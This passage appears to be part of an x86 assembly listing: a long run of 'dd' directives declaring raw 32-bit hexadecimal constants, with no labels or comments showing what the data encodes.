dd 0BDFC451Ah, 0E3D8CC21h, 162E4686h, 0A0214ECCh, 0EFC470D6h
dd 8DB810h, 25972E4Fh, 320C7CC5h, 0CB0194E4h, 0C2A8C919h
dd 0CDD0F533h, 21E409EBh, 1C90D379h, 9B040886h, 0FE45BF7Fh
dd 88BB80F4h, 36007091h, 0CD4D8C29h, 7151ADD0h, 50A505F1h
dd 0D868A178h, 8AA0ABF0h, 0F413FD31h, 4049C937h, 0CA60C839h
dd 5F3B0201h, 6F9976EDh, 0BF3281C0h, 7B352200h, 3A786111h
dd 36C9150h, 97280FC0h, 44C425F2h, 382E909Eh, 0CCA50AEEh
dd 1AAECC80h, 3FC840EFh, 8B3B42C4h, 60FF72A8h, 82CB8944h
dd 6948BC8Ch, 0A25684E4h, 17EE2859h, 0F48FEAC5h, 0BDA88609h
dd 8954E780h, 373BF924h, 0C86D8E8Dh, 0F88504D9h, 26E8CCCCh
dd 1868BF7Eh, 23BDB9CBh, 2698989Ch, 8B73DD79h, 0BAD022h
dd 0C6E0B72Ah, 0CDEDF475h, 320BA309h, 0AAB498CBh, 0C9E300E2h
dd 0DC538F27h, 294C930Ah, 4498843Ch, 6EC75D42h, 0A111F465h
dd 6BEC5100h, 287E149Fh, 0F019FB26h, 0B0A16F65h, 0BD006C37h
dd 0A01F3116h, 0F3133066h, 0A8905833h, 345E40Ch, 1288ACA9h
dd 70B8759Ch, 581322A4h, 0BC34C2ADh, 37120280h, 0AE790143h
dd 5E5E7BBh, 0C7B85369h, 28F15107h, 1F4013D7h, 90D2AABh
dd 68F8D25Ch, 0FCFC8C46h, 0F613CE01h, 470ED585h, 7C029055h
dd 44C8825Ch, 68F9002Ch, 4CE7AD87h, 89AF7A2h, 0F6577044h
dd 1DF93FCFh, 63423080h, 9593D59Ah, 0BFF56112h, 7C86C41h
dd 0C78C3DFh, 0E49234CBh, 83009C71h, 0ED0EC981h, 0E463F98Ah
dd 0A0304B27h, 8700E161h, 6FA59BE3h, 1CEE3Eh, 72B9A94Ch
dd 0F6125DCDh, 82C17B60h, 149C3054h, 8039C98Dh, 805CF292h
dd 5AA8F436h, 4FE0A8BAh, 1F0C0153h, 79E12667h, 6931D452h
dd 36073CFEh, 0C1C94D65h, 0A8C0E0B0h, 0D19AF973h, 288479D3h
dd 52CA425Fh, 417889C2h, 0A841B25Ch, 71809D5Bh, 4EC491E4h
dd 262633AFh, 0A34430CEh, 12174Eh, 369178E6h, 509468ABh
dd 0E9D38F60h, 0BE582450h, 6CB02554h, 0C997CAAh, 2F09DC81h
dd 91BCB9EEh, 0C53EC11Eh, 0A7C32632h, 2FCC1D58h, 7A10C201h
dd 0E210C308h, 520170D2h, 0F3AF4FF7h, 0B079CB3Dh, 4F9B680h
dd 59F6BBD3h, 2E2CE482h, 219705Ch, 9846802Ch, 0DC7EABE1h
dd 63B81E4Fh, 685E0EE0h, 0DB365C22h, 4BE8AAA8h, 0ABB82C32h
dd 0EB101100h, 87FF02Ah, 96780064h, 0D1A99CEh, 9F055D04h
dd 0B7AFDC33h, 0D804A024h, 0A8C931B2h, 663DC2D3h, 6A622D08h
dd 0CC180C1Ah, 8701A65Ah, 6A9646A9h, 845CD3BDh, 52DC0118h
dd 0DD717CBBh, 5CB08A45h, 0BD05206Dh, 34094686h, 53B062FAh
dd 80418040h, 0C4A6F5DBh, 0C8C06096h, 0BC44C5A3h, 7764088h
dd 6804CBB5h, 3ABDC35Bh, 0A872A0DDh, 325C9E00h, 7F27FAF4h
dd 0FDFB4339h, 49B92616h, 0C08250D4h, 733B2257h, 0FEF64881h
dd 2C5060AAh, 0DE89FA00h, 597CE25h, 416A3029h, 2EF8F041h
dd 141C21E5h, 59780140h, 8981ADA0h, 514D2961h, 74CE8034h
dd 9ADA52F3h, 7C38B341h, 42E9CC80h, 80090E5h, 77B5ACCDh
dd 4BF0AB65h, 5D347272h, 9D00E052h, 176F55F2h, 0B9C215CBh
dd 0A16D6228h, 0A31C2011h, 1166DE30h, 12721545h, 16B5F0A7h
dd 137860ECh, 730393A4h, 479B197Eh, 0E67190E9h, 80B145C9h
dd 0B092A699h, 1C0B90CDh, 6FACBEAEh, 17A30811h, 94E824F0h
dd 6DE6139Fh, 2CC252Ah, 9F0AE81h, 0FCE35C61h, 7724F8F3h
dd 0A65090CAh, 20584E24h, 916B8DBCh, 7D168E00h, 2D4AAC3h
dd 53F0368h, 4FDC25A9h, 9E98D809h, 0ABB4E8A1h, 12547CD9h
dd 0D253DEAAh, 60F7E698h, 0BE2CB42h, 1A9576B3h, 27BDFCC8h
dd 5D06D899h, 9B98D7E6h, 0E9D502A4h, 0FCE080FEh, 0A212FD01h
dd 0F06262C8h, 1CD95Dh, 2D59B4CCh, 549CC71Ch, 0AF1144E0h
dd 50E400B8h, 3EA5DAF0h, 0DB024525h, 0E92168EDh, 0A2FC7B86h
dd 0C2E144E8h, 1829AA12h, 0F11CEC33h, 0F6D11641h, 0BECB7BE0h
dd 823D90C8h, 63CAC8AAh, 0A252B1A0h, 0C3A39989h, 9D407051h
dd 11270D0h, 1C33413Ah, 0E41E08C9h, 0D50D2A18h, 0E907E5E8h
dd 89E22C43h, 0C831225Bh, 0FC941C2Dh, 3A234981h, 56C61071h
dd 0D5670775h, 0C08AD9BCh, 0A8B8B733h, 42FD1000h, 0A1955B0Ch
dd 0AA48C05Eh, 0DBA28513h, 460B6893h, 0E36491A3h, 7474384Dh
dd 0D20703FAh, 78D41BA2h, 5F612FA0h, 0A7BD8F1Dh, 47505407h
dd 4BFA6520h, 18807428h, 107BF4E2h, 45017C6Fh, 8D29E930h
dd 0F0F3FC2Ah, 60DB7143h
dd 31DD383Fh, 0AF75B9DEh, 0D90DCA00h, 0D4F6440Eh, 1B4B00F9h
dd 504F618Fh, 9C1BFA7Dh, 0C1588678h, 8BEDD6Eh, 91A86B00h
dd 0ABA5C020h, 1B0CE178h, 60211E51h, 0C67A1490h, 8721204Fh
dd 4700EC11h, 207BC468h, 750074FBh, 0F877C8FFh, 18392351h
dd 284A9CADh, 836030DFh, 53F04B48h, 0C241C0EAh, 0F73184C4h
dd 44298A00h, 5451F2CFh, 3A020699h, 0A615057h, 0EF16A914h
dd 5FE2188Ch, 395AA749h, 0D000C718h, 0B78865D2h, 0A201F881h
dd 0F47D9503h, 6980E711h, 0EBE5615Ah, 7F282822h, 0B88290D5h
dd 0DF82813h, 0F10071B1h, 618A9BE6h, 0CAD5D16h, 28E2DD36h
dd 0B262C548h, 10862FD1h, 4915878Eh, 90900Bh, 2D8FAA53h
dd 220ADDh, 0E478E8A6h, 868352F5h, 0E1D09455h, 0A115EF0Eh
dd 1B47CC1h, 1A25346Fh, 0BC5162FEh, 90107802h, 0E1834D60h
dd 8841A3ABh, 3C40CE9Ch, 1DCA57DDh, 7D12A0Ah, 50666FB1h
dd 4B70D65Fh, 0F0003491h, 78EF2FD5h, 0B062308Fh, 48795D51h
dd 5EFC5954h, 0AAB8144h, 2962B640h, 48F947C0h, 3131C00h
dd 1E815B16h, 8307312Eh, 0AA22FC42h, 1AF0E000h, 0EA01C40Fh
dd 0AC8344C0h, 8CEE303Fh, 7168A17Eh, 84E0546Eh, 0C3DA00E3h
dd 617F08F5h, 0A905F322h, 2CD4E29h, 84CBBC44h, 0E50CF542h
dd 1099A091h, 7D9AA8CAh, 8DE10035h, 5EDCF9ABh, 0DE0CB091h
dd 2860347Ah, 784A64C5h, 0FB8A43EBh, 36FB8BAh, 567F005Ch
dd 5F210F11h, 0F508F3D2h, 1832F1B9h, 830289AEh, 1BE9F088h
dd 117BE2A4h, 4537BAB0h, 700EDC01h, 0FBECE035h, 900CC4F4h
dd 8771D5Bh, 66E0AAB9h, 59729097h, 0B2285A12h, 6CF01042h
dd 0DC0720EAh, 0E00D7D0h, 0C679FC21h, 0EA2BA4CCh, 0EC9C2847h
dd 171F02FCh, 0DF5AA6Ch, 0DF147C44h, 40544E01h, 792A8E2Ch
dd 5D06987Eh, 3C1C5603h, 2A70A491h, 19F4F135h, 51F9F8F5h
dd 0F5442571h, 9997124Ah, 30A97EA8h, 0BD218184h, 0EC359D08h
dd 70007B73h, 0E041D2A4h, 9298B3A7h, 7C6C2260h, 81639013h
dd 2A803832h, 790B8C44h, 7A018C11h, 26C5CBA1h, 1447759Ch
dd 28925B84h, 102D2778h, 40EFF0CAh, 11F788A4h, 2023F6F5h
dd 0CAE89A22h, 300C0E2h, 935FB92Ah, 3C968653h, 8EB2B775h
dd 0F4207761h, 18BE5145h, 0D1A287D9h, 3A8476CFh, 84149F6h
dd 60781CACh, 89E10C88h, 8103FBC1h, 0E8F71C46h, 0F9317403h
dd 6DE07F10h, 0D020E351h, 2C128697h, 90016B0h, 46E7D96Ch
dd 35BFCD6h, 71DEFDBFh, 310052E3h, 0B369EC47h, 72CB81Fh
dd 89AD83F0h, 381E51D1h, 31B9DD98h, 10F40D5Dh, 5FDCE074h
dd 7AE5A606h, 0E2C16A65h, 0F25A88E2h, 0DD01A8F2h, 0D3F48AACh
dd 3822CFFBh, 0CA585701h, 9E414816h, 6F005A61h, 0F8420777h
dd 7C6302DBh, 0FDE6D4A2h, 0D1247884h, 7BF3D0h, 0E4871Bh
dd 0E308D088h, 0C13C977Eh, 4A0D749h, 5A1833ABh, 9C6460D1h
dd 87EDE211h, 8F7C4541h, 0E3A88310h, 0C70279F4h, 0D0261F88h
dd 0EB23A531h, 0ED7D330Ah, 0DE91F458h, 0E9E20800h, 32D1D8DBh
dd 217EF06h, 2AE0DDA5h, 1FF8770Bh, 845F60BCh, 0F4C8369h
dd 0CC919B6Eh, 8B7A6C8Ch, 0F168186Dh, 0B30E020h, 5275CF8Eh
dd 23D54F05h, 41BEC1A0h, 0CEAFB201h, 0C785476Ah, 0C601E1D4h
dd 498E0B29h, 0DB304201h, 205A3B3Dh, 0C30A9CF8h, 4EF79090h
dd 24E27124h, 63EFFE40h, 782200C2h, 9C03D4C0h, 93018A7Ah
dd 0FB448F07h, 0AC5138ADh, 9C108463h, 70D474CDh, 826BC8FCh
dd 8AD7025Bh, 918DC880h, 0A448CB81h, 0EF34C2E0h, 90928942h
dd 71A23048h, 0B5C022DFh, 1D673A07h, 99803558h, 89A2EBh
dd 91C32C5Ch, 0A3AA72EAh, 0FCF88E26h, 20014ABh, 0D6C27CF6h
dd 0B84E0233h, 0DB78ED0Eh, 308CDF04h, 699C801Bh, 0CE40774Ch
dd 0F431934Ah, 318081C1h, 5D5A5B32h, 4B13B0E8h, 0A4042FEFh
dd 0E34B9B63h, 0C7B38C10h, 3B9A6C1Dh, 14685900h, 33283B8h
dd 9C52BF65h, 71058473h, 0CDB636D7h, 78E055h, 623D8AABh
dd 0C09117C2h, 5D6EFC29h, 958B9C8h, 14240091h, 5898A87Ch
dd 9783128Ch, 0AEAC2151h, 289040F0h, 6492D521h, 0D4AA6A78h
dd 93D07C10h, 60C1DD88h, 826C982h, 0E90087A6h, 8618EC53h
dd 0D13D89h, 0E6DBA213h, 833CB48Ch, 91050F16h, 830E017h
dd 0DD5561h, 9619BA66h, 0DFD27E72h, 0D2C9C01h, 4F265281h
dd 85E1C11h, 0ACC80BF4h, 0B5892762h, 57F55890h, 897E8416h
dd 80885C65h, 90460928h, 0BC907A87h, 0DD889575h, 70B1C0h
dd 38D15E42h, 43F6F08Ch, 3A0B6B0Fh, 0A3A8C1C9h, 1BF46DE4h
dd 6A9C195Ah, 58D64180h, 1E0FE8C8h, 84543AF2h, 0C8CDCAE6h
dd 70B32092h, 20753614h, 3401720Fh, 0CC27AA2Ch, 12FB34A8h
dd 919C807Eh, 1FF8BBE7h, 4E57D490h, 0A98FE90Fh, 83EC586h
dd 0B91D8FF8h, 84439355h, 3CB718h, 928D3418h, 972608Eh
dd 8070CB39h, 442BE358h, 0C1D33529h, 0D2503648h, 7A3C01A8h
dd 836108B7h, 7900E01Eh, 100196A6h, 37594489h, 6360A4AAh
dd 313C8F62h, 0D7D600FEh, 0B3256F6Ah, 18BF63E4h, 1EE02D31h
dd 3D1E4E97h, 30207E52h, 0A569CE4Ch, 8CB82F6Eh, 703D3831h
dd 79878E3Ch, 46D765A9h, 0CF60900Ch, 85B534A8h, 0B72C0F56h
dd 49784C04h, 4D3C516Eh, 8E848986h, 0EA430064h, 7CB41BE3h
dd 0AA6A18E9h, 0EF28E907h, 0E6A1D261h, 0F98DA4BEh, 0FC79BC41h
dd 9501AF6Bh, 75ABEB6Ah, 3FC77C0h, 844A0134h, 0F73ED07h
dd 442CE48Ah, 0C0587A50h, 5243FA80h, 3B22D4DCh, 4FE29326h
dd 2980C01Eh, 0A0D2F060h, 0DC1E309Ah, 3864F141h, 0B7378100h
dd 0BD63A4D6h, 169F826h, 426723D7h, 997C02A9h, 5C60C1B0h
dd 2E40708Ah, 88A80E8h, 914C487Bh, 6118490Ah, 0F5844C58h
dd 0C840C24Bh, 6112C98Fh, 0E3EF8302h, 0A58E8C04h, 68308690h
dd 9128009h, 2BF6EA3Fh, 0D26E1C11h, 23BD7422h, 6100E64Ch
dd 0F2017D11h, 1173B7Eh, 1F93C320h, 8C5136D0h, 410FCB39h
dd 0FCA04561h, 21C64842h, 89DA1Eh, 46AE5B8Dh, 44330794h
dd 18C35F28h, 11744D21h, 19E007DDh, 0D8043BAh, 4788Eh
dd 0ABB626BEh, 8A1B8324h, 0B703B903h, 22CB25F9h, 0E43791F0h
dd 0B183C1AAh, 0C900D727h, 1C332BAFh, 0CCE4BCE5h, 0C31A7D8h
dd 0BB50B800h, 1ECEC993h, 1681C0DEh, 5D8DC8CCh, 46601000h
dd 0D6652703h, 0F3E90921h, 34103FD5h, 90F715Ah, 615B2548h
dd 0AD7737BBh, 0FD9ECh, 9C2640B2h, 4DB801FEh, 0BE56FC02h
dd 46603CCEh, 214C43E0h, 4DAC0029h, 0CEC87634h, 6901A893h
dd 0A8CB1FC0h, 9640108Ch, 0AF1D8319h, 8C004CFEh, 2C320D8Fh
dd 0BC3E0047h, 585C2BD8h, 7F7E1FD6h, 809339C8h, 5C59C017h
dd 25004F2Ah, 0D1D7CB66h, 5086863h, 0C51B9829h, 0EEA84047h
dd 0B7FC3C5Eh, 1431C400h, 0E54478D7h, 1F47FCEh, 742794F3h
dd 40DB6E43h, 23413158h, 0DD4C6A15h, 66011FCCh, 74CE3800h
dd 0B8300277h, 9EF60085h, 534B4916h, 0E4000A08h, 0F1A2238h
dd 5DE46ACh, 933F1D2Ah, 4D9C2139h, 0B7998056h, 8F38D907h
dd 0C445187Ch, 0A364193Dh, 35F13000h, 0FD56E5E6h, 83AC1EB1h
dd 7058DEE3h, 0F0542691h, 0D540920Fh, 0DB48034h, 63C580AAh
dd 3AC4786Dh, 0BC6A5100h, 6F2EAEDDh, 0AFE6E3h, 45C5244h
dd 4B1AAC74h, 0C83420FDh, 0D5E3F505h, 7C400907h, 75BE74B6h
dd 9D5B00BDh, 0ED5C559Bh, 0EA3C1D89h, 905E8084h, 76F7744Fh
dd 63E30049h, 0EB988353h
dd 650210D5h, 0D90FD345h, 7C8A9D2h, 6410E5D8h, 48E49518h
dd 0BD8024C3h, 0D36A7E2Dh, 0E7D0C006h, 540A958h, 0A7661157h
dd 3AD0201Eh, 75082506h, 81E74BBFh, 88B9998h, 0C1C6D85Eh
dd 2748D00h, 0E92EFDBFh, 21112C05h, 0AC89402Ch, 190F74A0h
dd 0E0246332h, 0FB53E751h, 0ACFA80C3h, 0D559CC61h, 10222ABEh
dd 0C9C43018h, 9700F6D4h, 98E8FE7Dh, 0C843EAh, 2F33925Eh
dd 0E5AFC0B1h, 64302704h, 0C09155D6h, 1C625908h, 0C0CE871Ch
dd 0EC2E7D3h, 6C0095BBh, 0AFFCB061h, 292C6885h, 6844FCEh
dd 79404B36h, 82BC4A1h, 1987F168h, 33310CC0h, 0E916F61Eh
dd 6EF0C68Ah, 153600A8h, 0BC5C5A4Ch, 8E077010h, 2BDED0E6h
dd 0D464E970h, 317E0028h, 0A07B61Dh, 65E8F283h, 0BE0C25F0h
dd 6941C42Ch, 0B9BB0034h, 0DAB4AF53h, 0D0294CC9h, 0C50AF0D8h
dd 0EE80E8D4h, 0C3357119h, 19AD7B08h, 0B82DA49Fh, 0C158E3FAh
dd 0DED81034h, 42D7B484h, 80405622h, 15609474h, 48590CCh
dd 0D723C739h, 83488C9h, 39C04C74h, 0DA86C2F1h, 1DCE76CDh
dd 83F251D0h, 0BCC9B532h, 0B0A47F98h, 0B6BF4D01h, 6F3F3572h
dd 0EC8EE432h, 628E00D3h, 44EFC2B7h, 61289200h, 0AACD9753h
dd 90147D83h, 5507200Ch, 802C4B5Ch, 6C3E2872h, 70755856h
dd 0DCD6E50Ah, 17CD9170h, 2408B634h, 0D23D80E8h, 0CF1652F5h
dd 9AB2850Eh, 8ACDE0D3h, 125DEA3Ch, 325BC82Ch, 0F4981D44h
dd 44EACA42h, 1A19B200h, 0BD707274h, 2422002Ch, 3A6401A3h
dd 70BB435h, 1854E752h, 0B9333124h, 0D69E80B8h, 3DDCE7C8h
dd 7C53700h, 0F68F68EEh, 0D1E1C5A1h, 4E1CCCD2h, 2A032DB8h
dd 8A28AA7Fh, 0D1E7A041h, 27F900F1h, 0F4A4177Eh, 46132182h
dd 4C095F74h, 0D51413D3h, 0C1B5BC40h, 524F20h, 0CCB17AEEh
dd 34B74C2Ah, 26C96605h, 3884074Bh, 0FCE90C8h, 0E4E6304Dh
dd 1E32861Ch, 177491F7h, 184F5807h, 0BCD03928h, 2E5075h
dd 5F6EE7F7h, 7A95B7A3h, 0D55065F7h, 663112BDh, 9E550098h
dd 1DF9A598h, 290E6027h, 223226D8h, 69161208h, 0E710AB10h
dd 0F0A646BDh, 0B9C5DF44h, 0D9380028h, 0B563DE76h, 516E3Bh
dd 3ACBC281h, 1D03C21h, 6A897477h, 308EF44Dh, 51C2E344h
dd 20D32D40h, 9A5A7F08h, 0F9C98206h, 19D1ADh, 0BA968C34h
dd 0EA8DB6B9h, 0F9D3E205h, 10052CACh, 74C83F22h, 6BF6B4h
dd 887AAECAh, 0BC0CF9B9h, 83CD3Fh, 69E3BF3Fh, 2E35DD95h
dd 50884166h, 0F000B9FBh, 0C4426F7Eh, 3266A9A5h, 0CD70B7D6h
dd 40AF1E22h, 9A470D1Ch, 1810F804h, 30CCA74Ch, 59C043C4h
dd 87B88E0Ch, 0BA0A3F9Fh, 66D54880h, 9C193231h, 0F7F84AB0h
dd 0A1FC431Ch, 89B8DB54h, 0F56010C1h, 597B694Bh, 383FA882h
dd 0F4EA98A1h, 2FA4DCBFh, 3063C502h, 0C628442Ch, 594121C4h
dd 10C55289h, 0B17000h, 45DDD883h, 448E61AEh, 892B9800h
dd 1C4C316Bh, 82E31230h, 694C0B96h, 85B76010h, 80A0897Fh
dd 0CE04B3BAh, 0D6E63108h, 147DF4A4h, 8C1F2C06h, 0C5446F80h
dd 98B93261h, 312EBC11h, 2F406E08h, 8772F552h, 6BE56300h
dd 8FACEBE0h, 0BFE402A7h, 54E91AC0h, 10E54469h, 3F8E2Ch
dd 849A2129h, 8694EC8Dh, 0F8CC6C24h, 41AAA160h, 0AB4D03AFh
dd 2B5FA7C7h, 0F8D22E0h, 0E0FB3F7Bh, 5C5C3CE7h, 0A0604AFCh
dd 2D27110h, 5486F582h, 1844C3E3h, 8C0EFFFEh, 67C915BBh
dd 69B0DFEAh, 0B93FCFA4h, 6726E0h, 0B1C93E72h, 79004948h
dd 6DF942Fh, 0F0B66AA5h, 5BD358AAh, 40983F2Eh, 0AF6508CFh
dd 0A4C29494h, 3C840FC4h, 320B25Bh, 964CB537h, 6285A13Bh
dd 991AA030h, 4D3508D8h, 0B2628A4h, 0E6F13C18h, 49176253h
dd 7882B9FAh, 9C66D9E7h, 0CF19BA09h, 0B7BB00F4h, 0EA328424h
dd 0C01152F9h, 400CC524h, 0BC861E6Eh, 1AFA630Bh, 3A6C0427h
dd 7C8A9840h, 4B00C7EEh, 0A7C80F0Ah, 2789EA5Eh, 0C0211E46h
dd 0C80223B6h, 0E624730Eh, 0EB004058h, 0D5785B4Bh, 56EF8A6h
dd 0FF9D7CDh, 0E7984512h, 925840BCh, 0C8283CB5h, 986690AAh
dd 0FA417B00h, 0AE246FBAh, 0E56600D1h, 0AB4ED094h, 0D418D802h
dd 15D09AB8h, 0B48682A9h, 5B0049A1h, 130D48E4h, 3CBCF12h
dd 146F4DB9h, 60AFF36Dh, 962F57Dh, 1AB11116h, 0B08DE833h
dd 48228763h, 0EB3FA426h, 9A31B9BAh, 8A160A8h, 0D6FA88C2h
dd 0A6303E00h, 3426EB09h, 0D20206B0h, 0E9AC54E5h, 0D61C4050h
dd 0DC975D00h, 98CB2072h, 0B22D00E4h, 0EEC2D8CEh, 0BA0E7B63h
dd 0A130CDC6h, 0D21EA9FBh, 21EA2021h, 207D9211h, 0F32C50E4h
dd 1E0C8047h, 0AD6905h, 6CAF6BBh, 62AB3FFEh, 0D2EB407Fh
dd 42022079h, 0EAC6DBBAh, 0B6B46050h, 2C640762h, 49C03ED7h
dd 0A00DC64h, 2501CC98h, 328F7FBh, 2F03A9BDh, 40C50EFAh
dd 0F010B080h, 454A4E35h, 325F0444h, 68465022h, 0E6EB8D12h
dd 0D9B5B804h, 0F2C090C0h, 44D498FCh, 80FFC52Ah, 4E33D31h
dd 1853270h, 5F225363h, 2C71D124h, 74144024h, 7D677300h
dd 0BA8B5EAFh, 639D001Eh, 3608CCD6h, 0C0A60196h, 0E3722C00h
dd 0EED775E7h, 0B4AC03DAh, 0ADF1D909h, 0B85456E0h, 0E008402Ch
dd 4C16A028h, 34211F89h, 0EC8AB31h, 0B9ECF5E3h, 2C5C3862h
dd 0F1384018h, 0A1CFB22h, 0C8C9EA0Ch, 0BAB48565h, 85ACC48Ch
dd 0D8413280h, 0C2F628h, 0ED8E2AA0h, 6252F74Fh, 98609102h
dd 6EAC230Fh, 80EEE830h, 8AF0B533h, 249AC318h, 90BB638h
dd 26B195BAh, 0B222E087h, 209CD90h, 0C44017CAh, 0EAE80038h
dd 8A45D575h, 0BD04B851h, 0ADFA0D2Fh, 24E708B4h, 8030AA55h
dd 0E0D9E409h, 4D34BA0Fh, 0B4C761AEh, 2E40D024h, 0D18087D6h
dd 29B2F1E7h, 0B923099Ch, 0E6E0985Fh, 13249952h, 0B8E42040h
dd 7D00FAD5h, 19182FF7h, 5299F6Eh, 217C55A6h, 2D748007h
dd 0E104E45Eh, 2B82B774h, 0EEBC20A0h, 29A8B071h, 0F83CAEh
dd 10016B19h, 93006D62h, 0B0CEB411h, 1C5D0CBEh, 0C1AAE9CAh
dd 10E4049Fh, 6536D0B9h, 8C30495Ch, 71F912h, 2A0D9F9Dh
dd 0BFCD99F0h, 85658004h, 90F7FCEAh, 0E1F19018h, 4484DD53h
dd 0B80E373Ah, 0C00AC77Eh, 64938CEDh, 0CBD913FFh, 0C4C0C27Dh
dd 10913461h, 24528CE4h, 2D8A087h, 3A53366Ah, 8A8048DBh
dd 4DE8CBB8h, 0A60A005Eh, 74499CBCh, 0D609681Dh, 2FCA3FE2h
dd 0B26420F8h, 279B174Ch, 0B41093B6h, 896C1E6h, 4167AB44h
dd 39D8E661h, 24092674h, 5C07CE01h, 0E448211Dh, 20290086h
dd 0ADF6A0E5h, 50009144h, 85D18798h, 0B8B995A9h, 0CE564470h
dd 5490C009h, 10A8C857h, 407D4A66h, 4F4CB784h, 0E14F6338h
dd 8F50004h, 49C07890h, 44BB0117h, 308D15B6h, 0BA6C7011h
dd 9A0F91F0h, 26C0375h, 0E2D7D2D9h, 9E305174h, 13ACA610h
dd 0D68C308Dh, 0EA2072E9h, 0E82307F3h, 57386BDAh, 0BE6AD0B5h
dd 662907ACh, 0EE80BCA7h, 0E98228BDh, 77EA13FDh, 0FA50C808h
dd 0CE78F51Eh, 0A1632B00h, 5F11Eh, 15466BC4h, 4D274071h
dd 44693516h, 0F8246020h, 0B0CB8C4h, 0C822D87h, 0E026D891h
dd 0E81232BEh, 540BB72Bh, 54448A50h, 10C900Fh, 1DF9B1A7h
dd 813C8142h, 1E4C076Ch, 83F444F0h, 0A107FABBh, 14DE4921h
dd 203B55D0h, 0CE7071h, 7F243F8h, 802F464Fh, 422E1800h
dd 5D416E9Eh, 0D46B1DECh, 0C0C61E5Ch, 0AEEF4ABDh, 5B014C45h
dd 3B9CE9E5h, 21804D32h, 391A1675h, 0E80036FEh, 4C840D4Fh
dd 379E5E6h, 7FBC68EBh
dd 59114BC9h, 287141C1h, 743860A4h, 478888AFh, 11538130h
dd 366EFh, 0E254713Fh, 7FF0A5C2h, 2042C830h, 0BC5BFDh
dd 845EEF41h, 7C8277B2h, 0CFCDBF07h, 9F60E3A4h, 1076F93h
dd 54ECBCA3h, 60F256FCh, 6A24BBF1h, 3C06D5B3h, 75714CE0h
dd 9689C01Ah, 0CBD0C056h, 0A99E3D00h, 0F6520F5h, 5A4E0006h
dd 18B4732Ah, 0DDB0BDA6h, 0C8BB2300h, 0CF1E9A2Ch, 5854016Ah
dd 0D2449F67h, 0C1AC4882h, 0F50394EEh, 0D73D799Ch, 832AE19Bh
dd 208355DDh, 0EBDB1966h, 484E8007h, 2220DCCFh, 51479h
dd 0B59B532Dh, 4E8A862Ch, 766082Ch, 5D301D19h, 380BEC0h
dd 13FA6B2Fh, 781829D1h, 0A7215524h, 0E170B5CEh, 0D9928000h
dd 9FE278B7h, 8E9C0B28h, 798C47BCh, 9A0A2FC8h, 0B4C4D14Ah
dd 0BF893087h, 0C2548AC0h, 4C51C323h, 40ADD66Bh, 4495BB98h
dd 78A8BC5Ch, 0C002AA5h, 0FB866281h, 0F34296h, 1D22D0B2h
dd 8C66AD28h, 0BBC8BA01h, 19AFB18Ah, 0CB4030E3h, 2D484A79h
dd 1E139103h, 0C826B5B1h, 720FF06Ch, 79DC06BCh, 912025D9h
dd 0EB9F3Bh, 8B7E46C1h, 53BAC9h, 0A909AEC7h, 2E66D50h
dd 0E0BCEC00h, 2ACE9B66h, 0D70E0085h, 877358E1h, 2C01727Ch
dd 673A1565h, 0BC70AEE7h, 7D47184Dh, 0CAB91940h, 0D9536100h
dd 12E7702Fh, 0EF96392Dh, 6E9CC300h, 1804F950h, 0F7FE2900h
dd 4DE73B92h, 1865F03Ah, 49211666h, 0EF06FE11h, 14E31A2Ah
dd 1C9B020h, 4A5CB050h, 0D31F7362h, 0E903397Ah, 2D6D9142h
dd 8994B01Eh, 711F3772h, 5DBAB021h, 95E612F6h, 5944D601h
dd 4BC1D7Bh, 2893AC00h, 0D56A78C0h, 3F8D0FBDh, 0D69C80B7h
dd 0A5B040FBh, 97557E1Fh, 9110BC30h, 0DF9BCE7Ah, 0B9A21B39h
dd 62F1EDE0h, 11711937h, 43FDD600h, 6E3900B1h, 0DDD5E06Dh
dd 67585694h, 911A0196h, 78B088D1h, 0AA3B2E4h, 852301E2h
dd 0D2FB0FC0h, 614F7206h, 0D6C10A01h, 8EE8BB39h, 7631C8h
dd 1A2F191h, 5D07BCE5h, 81CFA001h, 3E176588h, 7C1A398Ch
dd 0AA777891h, 25CFA300h, 21A461BDh, 7A140A89h, 8CF012F9h
dd 5739177Dh, 34B02900h, 75889048h, 0A6DD01D3h, 614B97FBh
dd 449D606Dh, 7860BFEEh, 79938561h, 0A9290C3h, 10623BC1h
dd 46749DC4h, 11641C4Eh, 824DCF00h, 0AF3E02E2h, 7851D17h
dd 95F640E1h, 67908101h, 600A789Dh, 9153039h, 686F9F04h
dd 1C20B240h, 0FD9A71Dh, 208C417Bh, 2B645E81h, 50B9F5EAh
dd 633C3AD0h, 660D1891h, 8C02E9BBh, 284207Bh, 0DF0093A7h
dd 4C1D04Dh, 38073DF3h, 0AD861D50h, 519EABE9h, 2314FA16h
dd 0EDD20907h, 0DE0410C9h, 0F62D01C9h, 0EE1DAC03h, 7B88826Ch
dd 7D8388C3h, 40E4D641h, 22679444h, 2FC9950Eh, 37AB2682h
dd 0DABF00E9h, 4FCB268Ah, 216E3F3h, 8D073BBDh, 71800CFDh
dd 7708BFEh, 9B1AA1FCh, 0C97A0692h, 5045F101h, 0D1BF3E8h
dd 32F360h, 0D60C385Ch, 7D22E9E1h, 868DD703h, 0C8651373h
dd 0A83D7274h, 39689388h, 7E00B638h, 3BDACA9Bh, 0DF3EE385h
dd 0EFC203D2h, 0D9DD73D4h, 0C9804963h, 31D0FC75h, 23607250h
dd 0AC27F749h, 4B5B0703h, 8981C708h, 0C311C805h, 75839A3Bh
dd 4DC8B100h, 4EEC952Fh, 7B020069h, 0F4624406h, 7E00F9E3h
dd 437FAACh, 2899DD2Ah, 0F1C7419h, 9218DCF6h, 0FB80ED29h
dd 0B1988016h, 36AE4A30h, 197E573h, 0F0BB6019h, 0DDCF77EDh
dd 5418E79h, 0D966843Bh, 0D69B9680h, 0B78C040Bh, 8CB865B0h
dd 4286E71Ch, 2230481Ch, 0D7380064h, 0EB7ACDF1h, 310F2008h
dd 35922E7h, 22F5A1EFh, 89142550h, 0A8824E9h, 0F82AAB8Eh
dd 2FD4A480h, 0F4491Ch, 0EEBE9359h, 0A8821DE2h, 0D303D00h
dd 0F88DA286h, 8049D410h, 7E7D4B22h, 71A7AA03h, 0B80BFCEAh
dd 4CDBBEDEh, 642824EFh, 0F7624418h, 0D748B20Eh, 0C0792FAAh
dd 0E5BFEBE8h, 0DCF402A7h, 146F856Ch, 0F922D064h, 1375004Ah
dd 0E552D6FFh, 0B209F682h, 18B8E99h, 0E1B8EA24h, 0F1107082h
dd 606820C3h, 6201FC0Fh, 7426D397h, 3430E793h, 32448469h
dd 982101F4h, 0DD5B193Bh, 0A046A037h, 1DE6A600h, 7DAEE2F7h
dd 770B7B23h, 0CBD0ABC8h, 0B5413931h, 0A8B6D00h, 0C5E432E8h
